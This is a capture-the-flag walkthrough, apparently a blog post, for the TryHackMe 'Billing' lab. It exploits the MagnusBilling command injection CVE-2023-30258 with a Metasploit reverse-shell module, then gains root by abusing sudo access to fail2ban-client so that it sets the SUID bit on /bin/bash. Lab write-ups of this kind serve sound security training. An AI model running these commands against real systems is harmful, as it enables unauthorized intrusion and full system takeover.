Introduction

The Billing room on TryHackMe presents a realistic scenario: a Linux server running MagnusBilling, an open-source VoIP billing application. The challenge has two distinct phases. First, gaining an initial foothold by identifying and exploiting a known unauthenticated Remote Code Execution vulnerability (CVE-2023-30258). Second, escalating from a low-privilege service account to root by abusing a misconfigured sudo rule involving fail2ban-client.

This writeup documents every step of my approach, not just the commands I ran, but the reasoning behind each decision and what each result told me about the target.

Note: All testing in this writeup was performed exclusively on a legal, isolated TryHackMe lab environment. This content is for educational purposes only. Do not use these techniques on systems you do not own or have explicit permission to test.

Phase 1 — Reconnaissance (Nmap Scan)

Every engagement starts with reconnaissance. Before touching anything, I needed to understand what services were running on the target and which versions were exposed. I used Nmap with the -sC and -sV flags to run default scripts and detect service versions.

nmap -sC -sV 10.49.130.42

What -sC and -sV do:

  • -sC runs Nmap's default NSE (Nmap Scripting Engine) scripts, which probe services for additional information like HTTP titles, SSH host keys, and robots.txt entries.
  • -sV attempts to fingerprint the exact version of each running service, which is critical for CVE research later.

Screenshot 1 — Nmap results:

None
Screenshot by author — Nmap scan results showing three open ports: SSH on 22, HTTP on 80 running MagnusBilling, and MariaDB on 3306.

The scan revealed three open ports:

+----------+---------+--------------------------------+
|   Port   | Service |            Version             |
+----------+---------+--------------------------------+
| 22/tcp   | SSH     | OpenSSH 9.2p1 (Debian)         |
| 80/tcp   | HTTP    | Apache 2.4.62 (Debian)         |
| 3306/tcp | MySQL   | MariaDB 10.3.23 (unauthorized) |
+----------+---------+--------------------------------+

Several things immediately stood out:

Port 80 was the most interesting finding. Nmap's HTTP scripts revealed the page title as "MagnusBilling" and identified a redirect to /mbilling/. This tells us the web application has a known name, which means we can search for known CVEs. The robots.txt file also had a disallowed entry for /mbilling/, confirming this is the main application path.

Port 3306 (MariaDB) showed as "unauthorized", meaning the database is running but rejecting unauthenticated connections from our IP. Worth noting but not the primary attack vector.

Port 22 (SSH) is open. This matters because if we find credentials or generate SSH keys during exploitation, we have a direct login path.

The hostname Billing.thm also appeared in the scan, confirming the domain name used internally.

Phase 2 — Web Enumeration

With a web application identified, I ran multiple enumeration tools to understand the attack surface before attempting any exploitation. I used three tools in parallel: Nikto, Feroxbuster, and WhatWeb. Each serves a different purpose.

  • Nikto — Web Vulnerability Scanner
nikto -url http://10.49.130.42/mbilling/

Nikto is a web server scanner that checks for common misconfigurations, outdated software, and missing security headers. It's a broad sweep, not subtle, but useful for quickly identifying low-hanging fruit.

Screenshot 2 — Nikto output:

None
Screenshot by author — Nikto web scanner output revealing outdated Apache version, missing security headers, and browsable directories on the target.

Key findings from Nikto:

  1. Apache 2.4.62 is outdated — Nikto flagged that the current version is at least 2.4.66, meaning this server is running an older, potentially vulnerable version.
  2. Missing security headers — Content-Security-Policy, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and Strict-Transport-Security were all absent. These are standard hardening headers. Their absence tells us this server wasn't security-hardened.
  3. Directory indexing enabled on /mbilling/archive/, /mbilling/lib/, and /mbilling/tmp/ — these directories are browsable, which could expose sensitive files.
  4. PHPSESSID cookie lacks the httponly flag — a minor but real web security weakness.

The most valuable observation here: the /mbilling/lib/ directory is browsable. This would later become important because the vulnerable endpoint in CVE-2023-30258 lives inside lib/icepay/.

  • Feroxbuster — Directory and File Brute-Force
feroxbuster -u http://10.49.130.42/ -w /usr/share/dirb/wordlists/common.txt -x php,html,txt,js,json,xml,bak,old,backup,orig,save,zip,tar,gz,7z,rar,env,config,conf,ini,yml,yaml,sql,db,sqlite,log,swp,pdf,csv,xlsx,docx,md,pem,key,crt

Feroxbuster is a fast, recursive directory and file brute-forcer. Unlike Nikto, it doesn't just check known bad things — it tries to discover hidden paths by testing thousands of possible names from a wordlist. The -x extension list is deliberately broad because backup files, configuration files, and source code leaks are common in real environments.

Screenshot 3 — Feroxbuster output:

None
Screenshot by author — Feroxbuster directory brute-force results confirming the /mbilling/ structure and discovering cron.php and additional directories.

The tool confirmed the /mbilling/ structure and discovered /mbilling/cron.php (returning HTTP 200), along with /mbilling/archive/ and /mbilling/assets/. The recursive depth of 4 ensures it doesn't stop at the first level of directories.

  • WhatWeb — Technology Fingerprinting
whatweb http://10.49.130.42/mbilling

WhatWeb identifies the technology stack of a web application — frameworks, CMS platforms, server versions, and JavaScript libraries. I use it as a quick sanity check to confirm what Nmap already found and sometimes to discover things Nmap missed.

Screenshot 4 — WhatWeb output:

None
Screenshot by author — WhatWeb technology fingerprint confirming Apache 2.4.62 on Debian Linux and identifying the application as MagnusBilling.

WhatWeb confirmed Apache 2.4.62 on Debian Linux and identified the page title as "MagnusBilling" with applicationCache in the HTML — consistent with a PHP web application. The redirect from /mbilling to /mbilling/ (301 → 200) is normal behaviour for PHP apps with trailing-slash requirements.

At this point, the reconnaissance picture was clear: this is a MagnusBilling instance running on Apache/Debian. The next logical step is to research known vulnerabilities for MagnusBilling.

Phase 3 — Vulnerability Research (CVE-2023–30258)

Knowing the application name, I searched for known CVEs. A quick search for "MagnusBilling exploit" reveals CVE-2023–30258 — an unauthenticated Remote Command Execution vulnerability affecting MagnusBilling versions 6.x and 7.x.

What is CVE-2023–30258?

The vulnerability exists in the file /mbilling/lib/icepay/icepay.php. This file contains a call to PHP's exec() function that directly uses a GET parameter (democ) without any sanitisation or input validation. An attacker can pass shell commands inside the democ parameter and the server will execute them as the web server user — without any login or authentication required.

In simple terms: the web application runs your commands for you, no password needed.

Metasploit has a fully-developed module for this vulnerability, rated excellent — meaning it's reliable and stable.

Phase 4 — Exploitation with Metasploit

I launched msfconsole and searched for the MagnusBilling module.

msfconsole
msf > search MagnusBilling

Screenshot 5 — Metasploit search results:

None
Screenshot by author — Metasploit search results showing the MagnusBilling unauthenticated RCE module rated excellent, disclosed June 2023.

The search returned exactly one result:

exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
Disclosure Date: 2023-06-26
Rank: excellent

I loaded the module with:

msf > use 0

Metasploit automatically configured the default payload as php/meterpreter/reverse_tcp.

Reviewing Module Options

msf exploit(...) > show options

Screenshot 6— Module options:

None
Screenshot by author — Metasploit module options panel showing required fields including RHOSTS, LHOST, RPORT, and TARGETURI before configuration.

The key options I needed to set:

  • RHOSTS — the target IP address
  • LHOST — my Kali machine's IP (specifically the TryHackMe VPN interface tun0)
  • RPORT — already set to 80 (correct)
  • TARGETURI — already set to /mbilling (correct)

Choosing the Right Target Type

msf exploit(...) > show targets
msf exploit(...) > set target 1

Screenshot 7— Target selection:

None
Screenshot by author — Metasploit exploit target selection showing three available target types: PHP, Unix Command, and Linux Dropper.

The module offers three target types:

  • 0 — PHP (delivers a PHP webshell, requires writing a file to disk)
  • 1 — Unix Command (executes a bash reverse shell command directly)
  • 2 — Linux Dropper (downloads and executes a binary)

I chose Target 1 (Unix Command) because it's the most straightforward, it injects a bash reverse shell via the command injection point directly, without needing to drop files to disk. This is also less likely to be caught by antivirus or file integrity monitoring on a hardened system.

Setting the Target and Listener

msf exploit(...) > set RHOST 10.49.142.53
msf exploit(...) > set LHOST tun0

Screenshot 8— Setting RHOST and LHOST:

None
Screenshot by author — Setting RHOST to the target IP and LHOST to tun0 to route the reverse shell through the TryHackMe VPN interface.

Setting LHOST tun0 tells Metasploit to use the IP address of the TryHackMe VPN interface (tun0) rather than a local LAN address. This is essential, if you set LHOST to your local machine IP (like 192.168.x.x), the reverse shell connection from the target will have no route back to you. The VPN interface is what connects your Kali machine to the TryHackMe network.

Running the Exploit

msf exploit(...) > exploit

Screenshot 9— Exploit execution and shell obtained:

None
Screenshot by author — Exploit execution confirming the target is vulnerable, command injection test passing, and a shell session opening as the asterisk user.

This is what happened, step by step:

  1. Metasploit started a reverse TCP handler on my machine at port 4444.
  2. It sent a test request injecting a sleep 5 command to confirm the target was vulnerable, and the 5-second delay confirmed command injection works.
  3. It then injected the reverse bash shell payload via the democ parameter.
  4. The target machine connected back to my listener, opening a shell session.

The output showed:

[+] The target is vulnerable. Successfully tested command injection.
[*] Command shell session 1 opened
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)

We landed as the asterisk user — the service account for the Asterisk VoIP software that MagnusBilling relies on. This is a low-privilege user, but it's a foothold inside the machine.

Phase 5 — Post-Exploitation and User Flag

With a shell, I performed basic orientation, confirming where I was on the filesystem and who else was present.

pwd        # /
ls -la     # root filesystem layout

Screenshot 10— Root filesystem enumeration:

None
Screenshot by author — Root filesystem enumeration after landing the shell, showing standard Debian Linux directory structure as the asterisk user.

The filesystem layout was standard Debian Linux. I navigated to the /home directory to see what user accounts existed.

cd home
ls

Screenshot 11— Home directory and user flag:

None
Screenshot by author — Home directory listing revealing three user accounts: debian, magnus, and ssm-user, followed by retrieving the user flag from magnus.

Three home directories were present: debian, magnus, and ssm-user. I went straight into magnus, as this was the named user for this machine (the billing application is named after "magnus"), making it the most likely location for the user flag.

cd magnus
ls
cat user.txt

The user flag is waiting for you inside this file. Give it a try before reading further.

Phase 6 — Privilege Escalation via Fail2ban Misconfiguration

Getting the user flag is only half the challenge. The goal is full root access. I ran sudo -l to check what commands the asterisk user could run with elevated privileges.

sudo -l

Screenshot 12— sudo -l output and full privesc chain:

None
Screenshot by author — sudo -l output showing the asterisk user can run fail2ban-client as root with no password, followed by the full privilege escalation chain.

The output showed something very interesting:

(ALL) NOPASSWD: /usr/bin/fail2ban-client

This means: the asterisk user can run fail2ban-client as root, without a password.

What is Fail2ban?

Fail2ban is a legitimate security tool that protects servers by monitoring log files for suspicious activity (like repeated failed SSH logins) and automatically banning offending IP addresses using firewall rules. It runs as root because it needs to modify firewall rules.

The problem here is that fail2ban-client, the command-line interface to control the Fail2ban daemon, is accessible to our low-privilege user with full root execution rights. This is a serious misconfiguration.

The Exploitation Logic

Fail2ban works with "jails" (monitoring rules) and "actions" (what to do when a ban triggers). The key insight is, we can create a new action with a custom actionban command, then trigger a ban to execute that command as root.

Here's the exact sequence I used:

Step 1 — Check what jails are running:

sudo /usr/bin/fail2ban-client status

This showed 8 active jails, including sshd. I chose the sshd jail to work with.

Step 2 — Check existing actions on the sshd jail:

sudo /usr/bin/fail2ban-client get sshd actions
# Output: iptables-multiport

Step 3 — Add a new action named "evil":

sudo /usr/bin/fail2ban-client set sshd addaction evil

This registers a new, empty action called "evil" inside the sshd jail.

Step 4 — Set the actionban command to make bash SUID:

sudo /usr/bin/fail2ban-client set sshd action evil actionban "chmod +s /bin/bash"

This is the payload. chmod +s /bin/bash sets the SUID bit on /bin/bash. When a binary has the SUID bit set and is owned by root, any user who executes it can do so with root's effective privileges.

Step 5 — Trigger the ban to execute the payload:

sudo /usr/bin/fail2ban-client set sshd banip 1.2.3.5

By banning a dummy IP address (1.2.3.5), we trigger the actionban command. Since Fail2ban runs as root, it executes chmod +s /bin/bash as root.

Step 6 — Spawn a root shell:

/bin/bash -p

The -p flag tells bash to run in "privileged mode" — it honours the SUID bit and runs with the effective UID of the file owner (root) rather than dropping privileges.

whoami
# root

Screenshot 13 — Root shell confirmed after the fail2ban exploit, with whoami returning root:

None
Screenshot by author — Full privilege escalation chain showing the sudo -l misconfiguration, all six fail2ban-client commands executed in sequence, and whoami confirming root access after spawning the privileged bash shell.

We are root.

Phase 7 — Root Flag

With root access confirmed, I navigated to /root to retrieve the final flag.

Screenshot 14 — Root flag:

None
Screenshot by author — Navigation to /root directory and retrieval of the root flag from root.txt, completing the challenge.
cd /root
ls
cat root.txt

The root flag is inside root.txt. If you have followed this writeup step by step, you should be staring at it right now.

The /root directory also contained a file called passwordMysql.log, in a real engagement, this would be a critical finding worth noting in a penetration testing report.

How the Fail2ban Exploit Works — A Visual Summary

(Screenshot 15 shows the documented exploit steps from Exploit Notes, a reference guide detailing the fail2ban sudo privilege escalation technique)

None
Image sourced from Exploit Notes — fail2ban sudo privilege escalation reference. Full link in References section.

The reason this works is architectural, Fail2ban was designed to be controlled by administrators, and the fail2ban-client communicates with the Fail2ban daemon over a Unix socket. Since the daemon itself runs as root, any command it executes inherits root privileges. When a non-root user is given unrestricted sudo access to fail2ban-client, they effectively have a root command execution primitive — they just need to know how to use it.

References and Further Reading

  1. CVE-2023–30258 — NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-30258
  2. MagnusBilling Unauthenticated RCE Module — Rapid7: https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/
  3. Billing Room — TryHackMe: https://tryhackme.com/room/billing
  4. Fail2ban Privilege Escalation via Sudo — Exploit Notes: https://exploitnotes.org/exploit/linux/privilege-escalation/sudo/fail2ban-command.html